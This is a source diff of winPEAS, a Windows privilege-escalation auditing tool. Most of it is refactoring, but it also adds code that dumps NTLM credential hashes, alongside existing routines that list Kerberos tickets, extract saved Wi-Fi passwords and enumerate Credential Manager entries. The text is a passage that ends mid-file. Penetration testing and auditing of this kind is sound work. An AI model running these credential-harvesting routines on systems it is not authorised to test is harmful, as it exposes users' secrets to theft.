var rdcFiles = RemoteDesktop.GetRDCManFiles();
|
||||
Beaprint.DictPrint(rdcFiles, false);
|
||||
|
||||
if (rdcFiles.Count != 0)
|
||||
{
|
||||
Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the .rdg file");
|
||||
}
|
||||
@ -216,14 +223,15 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintKerberosTickets()
|
||||
private static void PrintKerberosTickets()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for kerberos tickets");
|
||||
Beaprint.MainPrint("Looking for Kerberos tickets");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88");
|
||||
List<Dictionary<string, string>> kerberos_tckts = Kerberos.ListKerberosTickets();
|
||||
Beaprint.DictPrint(kerberos_tckts, false);
|
||||
var kerberosTickets = Kerberos.ListKerberosTickets();
|
||||
|
||||
Beaprint.DictPrint(kerberosTickets, false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -231,13 +239,13 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintKerberosTGTTickets()
|
||||
private static void PrintKerberosTGTTickets()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for kerberos TGT tickets");
|
||||
List<Dictionary<string, string>> kerberos_tgts = Kerberos.GetKerberosTGTData();
|
||||
Beaprint.DictPrint(kerberos_tgts, false);
|
||||
Beaprint.MainPrint("Looking for Kerberos TGT tickets");
|
||||
var kerberosTgts = Kerberos.GetKerberosTGTData();
|
||||
Beaprint.DictPrint(kerberosTgts, false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@ -245,12 +253,12 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintWifi()
|
||||
private static void PrintWifi()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking for saved Wifi credentials");
|
||||
if (winPEAS.Checks.Checks.ExecCmd)
|
||||
if (Checks.ExecCmd)
|
||||
{
|
||||
Dictionary<string, string> networkConnections = Wifi.Wifi.Retrieve();
|
||||
Dictionary<string, string> ansi_colors_regexp = new Dictionary<string, string>();
|
||||
@ -264,16 +272,17 @@ namespace winPEAS.Checks
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (var iface in new WlanClient().Interfaces)
|
||||
foreach (var @interface in new WlanClient().Interfaces)
|
||||
{
|
||||
foreach (var profile in iface.GetProfiles())
|
||||
foreach (var profile in @interface.GetProfiles())
|
||||
{
|
||||
var xml = iface.GetProfileXml(profile.profileName);
|
||||
var xml = @interface.GetProfileXml(profile.profileName);
|
||||
|
||||
XmlDocument xDoc = new XmlDocument();
|
||||
xDoc.LoadXml(xml);
|
||||
|
||||
var keyMaterial = xDoc.GetElementsByTagName("keyMaterial");
|
||||
|
||||
if (keyMaterial.Count > 0)
|
||||
{
|
||||
string password = keyMaterial[0].InnerText;
|
||||
@ -290,15 +299,17 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintAppCmd()
|
||||
private static void PrintAppCmd()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking AppCmd.exe");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe");
|
||||
|
||||
if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe")))
|
||||
{
|
||||
Beaprint.BadPrint(" AppCmd.exe was found in " + Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe You should try to search for credentials"));
|
||||
Beaprint.BadPrint(" AppCmd.exe was found in " +
|
||||
Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe You should try to search for credentials"));
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -311,12 +322,13 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
static void PrintSCClient()
|
||||
private static void PrintSCClient()
|
||||
{
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking SSClient.exe");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#scclient-sccm");
|
||||
|
||||
if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe")))
|
||||
{
|
||||
Beaprint.BadPrint(" SCClient.exe was found in " + Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe DLL Side loading?"));
|
||||
@ -346,13 +358,45 @@ namespace winPEAS.Checks
|
||||
if (!string.IsNullOrEmpty(server) || !string.IsNullOrEmpty(siteCode) || !string.IsNullOrEmpty(productVersion) || !string.IsNullOrEmpty(lastSuccessfulInstallParams))
|
||||
{
|
||||
Beaprint.NoColorPrint($" Server: {server}\n" +
|
||||
$" Site code: {siteCode}" +
|
||||
$" Product version: {productVersion}" +
|
||||
$" Last Successful Install Params: {lastSuccessfulInstallParams}");
|
||||
$" Site code: {siteCode}\n" +
|
||||
$" Product version: {productVersion}\n" +
|
||||
$" Last Successful Install Params: {lastSuccessfulInstallParams}\n");
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintSecurityPackagesCredentials()
|
||||
{
|
||||
Beaprint.MainPrint("Enumerating Security Packages Credentials");
|
||||
|
||||
try
|
||||
{
|
||||
var credentials = (SecurityPackages.GetNtlmCredentials() ?? Enumerable.Empty<NtlmHashInfo>()).ToList();
|
||||
|
||||
if (credentials.Any())
|
||||
{
|
||||
foreach (var credential in credentials)
|
||||
{
|
||||
if (credential != null)
|
||||
{
|
||||
Beaprint.BadPrint($" Version: {credential.Version}\n" +
|
||||
$" Hash: {credential.Hash}\n");
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.GoodPrint(" The NTLM security package does not contain any credentials.");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -84,7 +84,7 @@ namespace winPEAS.Helpers
|
||||
PrintBanner();
|
||||
}
|
||||
|
||||
Console.WriteLine(YELLOW + " WinPEAS " + GREEN + Version + NOCOLOR + YELLOW + " by carlospolop, makikvues(sergi.chamila@gmail.com)" + NOCOLOR);
|
||||
Console.WriteLine(YELLOW + " WinPEAS " + GREEN + Version + NOCOLOR + YELLOW + " by carlospolop, makikvues(sergi[dot]chamila[at]gmail[dot]com)" + NOCOLOR);
|
||||
Console.WriteLine();
|
||||
|
||||
PrintLegend();
|
||||
@ -111,13 +111,14 @@ namespace winPEAS.Helpers
|
||||
Console.WriteLine(LBLUE + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " userinfo" + GRAY + " Search user information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " procesinfo" + GRAY + " Search processes information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search files that can contains credentials" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " log" + GRAY +$" Log all output to file \"{Checks.Checks.LogFile}\"" + NOCOLOR);
|
||||
|
@ -5,6 +5,8 @@ using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.Permissions;
|
||||
using System.Text;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Helpers.CredentialManager
|
||||
{
|
||||
@ -350,7 +352,7 @@ namespace winPEAS.Helpers.CredentialManager
|
||||
|
||||
IntPtr credPointer;
|
||||
|
||||
var result = NativeMethods.CredRead(Target, Type, 0, out credPointer);
|
||||
var result = Advapi32.CredRead(Target, Type, 0, out credPointer);
|
||||
if (!result)
|
||||
return false;
|
||||
|
||||
|
@ -1,39 +1,4 @@
|
||||
namespace winPEAS.Helpers.CredentialManager
|
||||
{
|
||||
/// <summary>
|
||||
/// Enum CredentialType
|
||||
///
|
||||
/// The type of the credential. This member cannot be changed after the credential is created.
|
||||
/// </summary>
|
||||
public enum CredentialType : uint
|
||||
{
|
||||
/// <summary>
|
||||
/// The lack of credential type
|
||||
/// </summary>
|
||||
None = 0,
|
||||
|
||||
/// <summary>
|
||||
/// Generic credential type
|
||||
///
|
||||
/// The credential is a generic credential. The credential will not be used by any particular authentication package.
|
||||
/// The credential will be stored securely but has no other significant characteristics.
|
||||
/// </summary>
|
||||
Generic = 1,
|
||||
|
||||
/// <summary>
|
||||
/// Domain password credential type
|
||||
///
|
||||
/// The credential is a password credential and is specific to Microsoft's authentication packages.
|
||||
/// The NTLM, Kerberos, and Negotiate authentication packages will automatically use this credential when connecting to the named target.
|
||||
/// </summary>
|
||||
DomainPassword = 2,
|
||||
|
||||
/// <summary>
|
||||
/// Domain certificate credential type
|
||||
///
|
||||
/// The credential is a certificate credential and is specific to Microsoft's authentication packages.
|
||||
/// The Kerberos, Negotiate, and Schannel authentication packages automatically use this credential when connecting to the named target.
|
||||
/// </summary>
|
||||
DomainCertificate = 3
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -2,8 +2,8 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Helpers.CredentialManager
|
||||
{
|
||||
@ -17,117 +17,7 @@ namespace winPEAS.Helpers.CredentialManager
|
||||
/// </summary>
|
||||
public class NativeMethods
|
||||
{
|
||||
/// <summary>
|
||||
/// The CredRead function reads a credential from the user's credential set.
|
||||
/// The credential set used is the one associated with the logon session of the current token.
|
||||
/// The token must not have the user's SID disabled.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// If the value of the Type member of the CREDENTIAL structure specified by the Credential parameter is
|
||||
/// CRED_TYPE_DOMAIN_EXTENDED, a namespace must be specified in the target name. This function can return only one
|
||||
/// credential of the specified type.
|
||||
/// </remarks>
|
||||
/// <param name="target">Pointer to a null-terminated string that contains the name of the credential to read.</param>
|
||||
/// <param name="type">Type of the credential to read. Type must be one of the CRED_TYPE_* defined types.</param>
|
||||
/// <param name="reservedFlag">Currently reserved and must be zero.</param>
|
||||
/// <param name="credentialPtr">
|
||||
/// Pointer to a single allocated block buffer to return the credential.
|
||||
/// Any pointers contained within the buffer are pointers to locations within this single allocated block.
|
||||
/// The single returned buffer must be freed by calling CredFree.
|
||||
/// </param>
|
||||
/// <returns>The function returns TRUE on success and FALSE on failure.</returns>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern bool CredRead(string target, CredentialType type, int reservedFlag,
|
||||
out IntPtr credentialPtr);
|
||||
|
||||
/// <summary>
|
||||
/// The CredWrite function creates a new credential or modifies an existing credential in the user's credential set.
|
||||
/// The new credential is associated with the logon session of the current token.
|
||||
/// The token must not have the user's security identifier (SID) disabled.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// This function creates a credential if a credential with the specified TargetName and Type does not exist. If a
|
||||
/// credential with the specified TargetName and Type exists, the new specified credential replaces the existing one.
|
||||
/// When this function writes a CRED_TYPE_CERTIFICATE credential, the Credential->CredentialBlob member specifies the
|
||||
/// PIN protecting the private key of the certificate specified by the Credential->UserName member. The credential
|
||||
/// manager does not maintain the PIN. Rather, the PIN is passed to the cryptographic service provider (CSP) indicated
|
||||
/// on the certificate for later use by the CSP and the authentication packages. The CSP defines the lifetime of the
|
||||
/// PIN. Most CSPs flush the PIN when the smart card removal from the smart card reader.
|
||||
/// If the value of the Type member of the CREDENTIAL structure specified by the Credential parameter is
|
||||
/// CRED_TYPE_DOMAIN_EXTENDED, a namespace must be specified in the target name. This function does not support writing
|
||||
/// to target names that contain wildcards.
|
||||
/// </remarks>
|
||||
/// <param name="userCredential">A pointer to the CREDENTIAL structure to be written.</param>
|
||||
/// <param name="flags">Flags that control the function's operation. The following flag is defined.</param>
|
||||
/// <returns>If the function succeeds, the function returns TRUE, if the function fails, it returns FALSE. </returns>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredWriteW", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern bool CredWrite([In] ref CREDENTIAL userCredential, [In] UInt32 flags);
|
||||
|
||||
/// <summary>
|
||||
/// The CredFree function frees a buffer returned by any of the credentials management functions.
|
||||
/// </summary>
|
||||
/// <param name="cred">Pointer to the buffer to be freed.</param>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredFree", SetLastError = true)]
|
||||
internal static extern void CredFree([In] IntPtr cred);
|
||||
|
||||
/// <summary>
|
||||
/// The CredDelete function deletes a credential from the user's credential set.
|
||||
/// The credential set used is the one associated with the logon session of the current token.
|
||||
/// The token must not have the user's SID disabled.
|
||||
/// </summary>
|
||||
/// <param name="target">Pointer to a null-terminated string that contains the name of the credential to delete.</param>
|
||||
/// <param name="type">
|
||||
/// Type of the credential to delete. Must be one of the CRED_TYPE_* defined types.
|
||||
/// For a list of the defined types, see the Type member of the CREDENTIAL structure.
|
||||
/// If the value of this parameter is CRED_TYPE_DOMAIN_EXTENDED,
|
||||
/// this function can delete a credential that specifies a user name when there are multiple credentials for the same
|
||||
/// target. The value of the TargetName parameter must specify the user name as Target|UserName.
|
||||
/// </param>
|
||||
/// <param name="flags">Reserved and must be zero.</param>
|
||||
/// <returns>The function returns TRUE on success and FALSE on failure.</returns>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredDeleteW", CharSet = CharSet.Unicode)]
|
||||
internal static extern bool CredDelete(StringBuilder target, CredentialType type, int flags);
|
||||
|
||||
/// <summary>
|
||||
/// Enumerate credentials in the credential store
|
||||
/// signature: BOOL CredEnumerate (
|
||||
/// _In_ LPCTSTR Filter,
|
||||
/// _In_ DWORD Flags,
|
||||
/// _Out_ DWORD *Count,
|
||||
/// _Out_ PCREDENTIAL **Credentials
|
||||
///);
|
||||
/// <param name="filter">[in]
|
||||
/// Pointer to a null-terminated string that contains the filter for the returned credentials.Only credentials with a TargetName matching the filter will be returned.The filter specifies a name prefix followed by an asterisk.For instance, the filter "FRED*" will return all credentials with a TargetName beginning with the string "FRED".
|
||||
/// If NULL is specified, all credentials will be returned.</param>
|
||||
/// <param name="flag">[in]
|
||||
/// The value of this parameter can be zero or more of the following values combined with a bitwise-OR operation.
|
||||
/// Value Meaning
|
||||
/// CRED_ENUMERATE_ALL_CREDENTIALS 0x1
|
||||
/// This function enumerates all of the credentials in the user's credential set. The target name of each credential is returned in the "namespace:attribute=target" format. If this flag is set and the Filter parameter is not NULL, the function fails and returns ERROR_INVALID_FLAGS.
|
||||
/// Windows Server 2003 and Windows XP: This flag is not supported.
|
||||
///</param>
|
||||
/// <param name="count">[out] Count of the credentials returned in the Credentials array.</param>
|
||||
/// <param name="pCredentials"> [out]
|
||||
/// Pointer to an array of pointers to credentials.The returned credential is a single allocated block. Any pointers contained within the buffer are pointers to locations within this single allocated block.The single returned buffer must be freed by calling CredFree.
|
||||
/// Return value
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// The function returns TRUE on success and FALSE on failure. The GetLastError function can be called to get a more specific status code.The following status codes can be returned.
|
||||
/// Return code/value Description
|
||||
/// ERROR_NOT_FOUND
|
||||
/// 1168 (0x490)
|
||||
/// No credential exists matching the specified Filter.
|
||||
/// ERROR_NO_SUCH_LOGON_SESSION
|
||||
/// 1312 (0x520)
|
||||
/// The logon session does not exist or there is no credential set associated with this logon session. Network logon sessions do not have an associated credential set.
|
||||
/// ERROR_INVALID_FLAGS
|
||||
/// 1004 (0x3EC)
|
||||
/// A flag that is not valid was specified for the Flags parameter, or CRED_ENUMERATE_ALL_CREDENTIALS is specified for the Flags parameter and the Filter parameter is not NULL.
|
||||
/// </returns>
|
||||
/// </summary>
|
||||
[DllImport("Advapi32.dll", EntryPoint = "CredEnumerate", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
internal static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// The CREDENTIAL structure contains an individual credential.
|
||||
///
|
||||
@ -154,7 +44,7 @@ namespace winPEAS.Helpers.CredentialManager
|
||||
{
|
||||
int count;
|
||||
IntPtr pCredentials;
|
||||
var ret = CredEnumerate(null, 0, out count, out pCredentials);
|
||||
var ret = Advapi32.CredEnumerate(null, 0, out count, out pCredentials);
|
||||
|
||||
if (ret == false)
|
||||
throw new Exception("Failed to enumerate credentials");
|
||||
@ -196,7 +86,7 @@ namespace winPEAS.Helpers.CredentialManager
|
||||
{
|
||||
// NOTE: We should also ZERO out the memory allocated to the handle, before free'ing it
|
||||
// so there are no traces of the sensitive data left in memory.
|
||||
CredFree(handle);
|
||||
Advapi32.CredFree(handle);
|
||||
// Mark the handle as invalid for future users.
|
||||
SetHandleAsInvalid();
|
||||
return true;
|
||||
|
@ -1,5 +1,7 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
@ -13,22 +15,9 @@ namespace winPEAS.Helpers
|
||||
{
|
||||
internal class Win32
|
||||
{
|
||||
public const int ErrorSuccess = 0;
|
||||
|
||||
[DllImport("Netapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern int NetGetJoinInformation(string server, out IntPtr domain, out NetJoinStatus status);
|
||||
|
||||
[DllImport("Netapi32.dll")]
|
||||
public static extern int NetApiBufferFree(IntPtr Buffer);
|
||||
|
||||
public enum NetJoinStatus
|
||||
{
|
||||
NetSetupUnknownStatus = 0,
|
||||
NetSetupUnjoined,
|
||||
NetSetupWorkgroupName,
|
||||
NetSetupDomainName
|
||||
}
|
||||
public const int ErrorSuccess = 0;
|
||||
|
||||
|
||||
}
|
||||
|
||||
public static string IsDomainJoined()
|
||||
@ -36,18 +25,18 @@ namespace winPEAS.Helpers
|
||||
// returns Compuer Domain if the system is inside an AD (an nothing if it is not)
|
||||
try
|
||||
{
|
||||
Win32.NetJoinStatus status = Win32.NetJoinStatus.NetSetupUnknownStatus;
|
||||
NetJoinStatus status = NetJoinStatus.NetSetupUnknownStatus;
|
||||
IntPtr pDomain = IntPtr.Zero;
|
||||
int result = Win32.NetGetJoinInformation(null, out pDomain, out status);
|
||||
int result = Netapi32.NetGetJoinInformation(null, out pDomain, out status);
|
||||
if (pDomain != IntPtr.Zero)
|
||||
{
|
||||
Win32.NetApiBufferFree(pDomain);
|
||||
Netapi32.NetApiBufferFree(pDomain);
|
||||
}
|
||||
|
||||
if (result == Win32.ErrorSuccess)
|
||||
{
|
||||
// If in domain, return domain name, if not, return empty
|
||||
return status == Win32.NetJoinStatus.NetSetupDomainName ? Environment.UserDomainName : "";
|
||||
return status == NetJoinStatus.NetSetupDomainName ? Environment.UserDomainName : "";
|
||||
}
|
||||
|
||||
}
|
||||
|
156
winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs
Normal file
156
winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs
Normal file
@ -0,0 +1,156 @@
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
static class RegistryHelper
|
||||
{
|
||||
///////////////////////////////////////////
|
||||
/// Interf. for Keys and Values in Reg. ///
|
||||
///////////////////////////////////////////
|
||||
/// Functions related to obtain keys and values from the registry
|
||||
/// Some parts adapted from Seatbelt
|
||||
public static string GetRegValue(string hive, string path, string value)
|
||||
{
|
||||
// returns a single registry value under the specified path in the specified hive (HKLM/HKCU)
|
||||
string regKeyValue = "";
|
||||
if (hive == "HKCU")
|
||||
{
|
||||
var regKey = Registry.CurrentUser.OpenSubKey(path);
|
||||
if (regKey != null)
|
||||
{
|
||||
regKeyValue = string.Format("{0}", regKey.GetValue(value));
|
||||
}
|
||||
return regKeyValue;
|
||||
}
|
||||
else if (hive == "HKU")
|
||||
{
|
||||
var regKey = Registry.Users.OpenSubKey(path);
|
||||
if (regKey != null)
|
||||
{
|
||||
regKeyValue = string.Format("{0}", regKey.GetValue(value));
|
||||
}
|
||||
return regKeyValue;
|
||||
}
|
||||
else
|
||||
{
|
||||
var regKey = Registry.LocalMachine.OpenSubKey(path);
|
||||
if (regKey != null)
|
||||
{
|
||||
regKeyValue = string.Format("{0}", regKey.GetValue(value));
|
||||
}
|
||||
return regKeyValue;
|
||||
}
|
||||
}
|
||||
|
||||
public static Dictionary<string, object> GetRegValues(string hive, string path)
|
||||
{
|
||||
// returns all registry values under the specified path in the specified hive (HKLM/HKCU)
|
||||
Dictionary<string, object> keyValuePairs = null;
|
||||
try
|
||||
{
|
||||
if (hive == "HKCU")
|
||||
{
|
||||
using (var regKeyValues = Registry.CurrentUser.OpenSubKey(path))
|
||||
{
|
||||
if (regKeyValues != null)
|
||||
{
|
||||
var valueNames = regKeyValues.GetValueNames();
|
||||
keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (hive == "HKU")
|
||||
{
|
||||
using (var regKeyValues = Registry.Users.OpenSubKey(path))
|
||||
{
|
||||
if (regKeyValues != null)
|
||||
{
|
||||
var valueNames = regKeyValues.GetValueNames();
|
||||
keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
using (var regKeyValues = Registry.LocalMachine.OpenSubKey(path))
|
||||
{
|
||||
if (regKeyValues != null)
|
||||
{
|
||||
var valueNames = regKeyValues.GetValueNames();
|
||||
keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue);
|
||||
}
|
||||
}
|
||||
}
|
||||
return keyValuePairs;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] GetRegValueBytes(string hive, string path, string value)
|
||||
{
|
||||
// returns a byte array of single registry value under the specified path in the specified hive (HKLM/HKCU)
|
||||
byte[] regKeyValue = null;
|
||||
if (hive == "HKCU")
|
||||
{
|
||||
var regKey = Registry.CurrentUser.OpenSubKey(path);
|
||||
if (regKey != null)
|
||||
{
|
||||
regKeyValue = (byte[])regKey.GetValue(value);
|
||||
}
|
||||
return regKeyValue;
|
||||
}
|
||||
else if (hive == "HKU")
|
||||
{
|
||||
var regKey = Registry.Users.OpenSubKey(path);
|
||||
if (regKey != null)
|
||||
{
|
||||
regKeyValue = (byte[])regKey.GetValue(value);
|
||||
}
|
||||
return regKeyValue;
|
||||
}
|
||||
else
|
||||
{
|
||||
var regKey = Registry.LocalMachine.OpenSubKey(path);
|
||||
if (regKey != null)
|
||||
{
|
||||
regKeyValue = (byte[])regKey.GetValue(value);
|
||||
}
|
||||
return regKeyValue;
|
||||
}
|
||||
}
|
||||
|
||||
public static string[] GetRegSubkeys(string hive, string path)
|
||||
{
|
||||
// returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU)
|
||||
try
|
||||
{
|
||||
RegistryKey myKey = null;
|
||||
if (hive == "HKLM")
|
||||
{
|
||||
myKey = Registry.LocalMachine.OpenSubKey(path);
|
||||
}
|
||||
else if (hive == "HKU")
|
||||
{
|
||||
myKey = Registry.Users.OpenSubKey(path);
|
||||
}
|
||||
else
|
||||
{
|
||||
myKey = Registry.CurrentUser.OpenSubKey(path);
|
||||
}
|
||||
String[] subkeyNames = myKey.GetSubKeyNames();
|
||||
return myKey.GetSubKeyNames();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return new string[0];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -3,26 +3,21 @@ using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.TaskScheduler;
|
||||
|
||||
namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
internal class ApplicationInfoHelper
|
||||
{
|
||||
// https://stackoverflow.com/questions/115868/how-do-i-get-the-title-of-the-current-active-window-using-c
|
||||
[DllImport("user32.dll")]
|
||||
static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
|
||||
|
||||
public static string GetActiveWindowTitle()
|
||||
{
|
||||
const int nChars = 256;
|
||||
StringBuilder buff = new StringBuilder(nChars);
|
||||
IntPtr handle = GetForegroundWindow();
|
||||
IntPtr handle = User32.GetForegroundWindow();
|
||||
|
||||
if (GetWindowText(handle, buff, nChars) > 0)
|
||||
if (User32.GetWindowText(handle, buff, nChars) > 0)
|
||||
{
|
||||
return buff.ToString();
|
||||
}
|
||||
|
@ -2,39 +2,15 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.ApplicationInfo
|
||||
{
|
||||
internal static class DeviceDrivers
|
||||
{
|
||||
private class EnumAPI
|
||||
{
|
||||
[DllImport("psapi")]
|
||||
public static extern bool EnumDeviceDrivers(
|
||||
UIntPtr[] driversList,
|
||||
UInt32 arraySizeBytes,
|
||||
out UInt32 bytesNeeded
|
||||
);
|
||||
|
||||
[DllImport("psapi")]
|
||||
public static extern int GetDeviceDriverFileName(
|
||||
UIntPtr baseAddr,
|
||||
StringBuilder name,
|
||||
UInt32 nameSize
|
||||
);
|
||||
|
||||
[DllImport("psapi")]
|
||||
public static extern int GetDeviceDriverBaseName(
|
||||
UIntPtr baseAddr,
|
||||
StringBuilder name,
|
||||
UInt32 nameSize
|
||||
);
|
||||
}
|
||||
|
||||
public static Dictionary<string, FileVersionInfo> GetDeviceDriversNoMicrosoft()
|
||||
{
|
||||
Dictionary<string, FileVersionInfo> results = new Dictionary<string, FileVersionInfo>();
|
||||
@ -48,20 +24,20 @@ namespace winPEAS.Info.ApplicationInfo
|
||||
string system32 = Environment.SystemDirectory;
|
||||
|
||||
// Get a list of loaded kernel modules
|
||||
EnumAPI.EnumDeviceDrivers(null, 0, out var neededBytes);
|
||||
Psapi.EnumDeviceDrivers(null, 0, out var neededBytes);
|
||||
UIntPtr[] drivers = new UIntPtr[neededBytes / UIntPtr.Size];
|
||||
EnumAPI.EnumDeviceDrivers(drivers, (UInt32)(drivers.Length * UIntPtr.Size), out neededBytes);
|
||||
Psapi.EnumDeviceDrivers(drivers, (UInt32)(drivers.Length * UIntPtr.Size), out neededBytes);
|
||||
|
||||
// iterate over modules
|
||||
foreach (UIntPtr baseAddr in drivers)
|
||||
{
|
||||
StringBuilder buffer = new StringBuilder(1024);
|
||||
EnumAPI.GetDeviceDriverBaseName(baseAddr, buffer, (UInt32)buffer.Capacity);
|
||||
Psapi.GetDeviceDriverBaseName(baseAddr, buffer, (UInt32)buffer.Capacity);
|
||||
if (ignoreGhosts.IsMatch(buffer.ToString()))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
EnumAPI.GetDeviceDriverFileName(baseAddr, buffer, (UInt32)buffer.Capacity);
|
||||
Psapi.GetDeviceDriverFileName(baseAddr, buffer, (UInt32)buffer.Capacity);
|
||||
string pathname = buffer.ToString();
|
||||
|
||||
// GetDeviceDriverFileName can return a path in a various number of formats, below code tries to handle them.
|
||||
|
55
winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Common.cs
Normal file
55
winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Common.cs
Normal file
@ -0,0 +1,55 @@
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace winPEAS.Info.EventsInfo.PowerShell
|
||||
{
|
||||
internal static class Common
|
||||
{
|
||||
public static Regex[] GetInterestingProcessArgsRegex()
|
||||
{
|
||||
// helper that returns the set of "sensitive" cmdline regular expressions
|
||||
// adapted from @djhohnstein's EventLogParser project - https://github.com/djhohnstein/EventLogParser/blob/master/EventLogParser/EventLogHelpers.cs
|
||||
var globalOptions = RegexOptions.IgnoreCase & RegexOptions.Multiline;
|
||||
|
||||
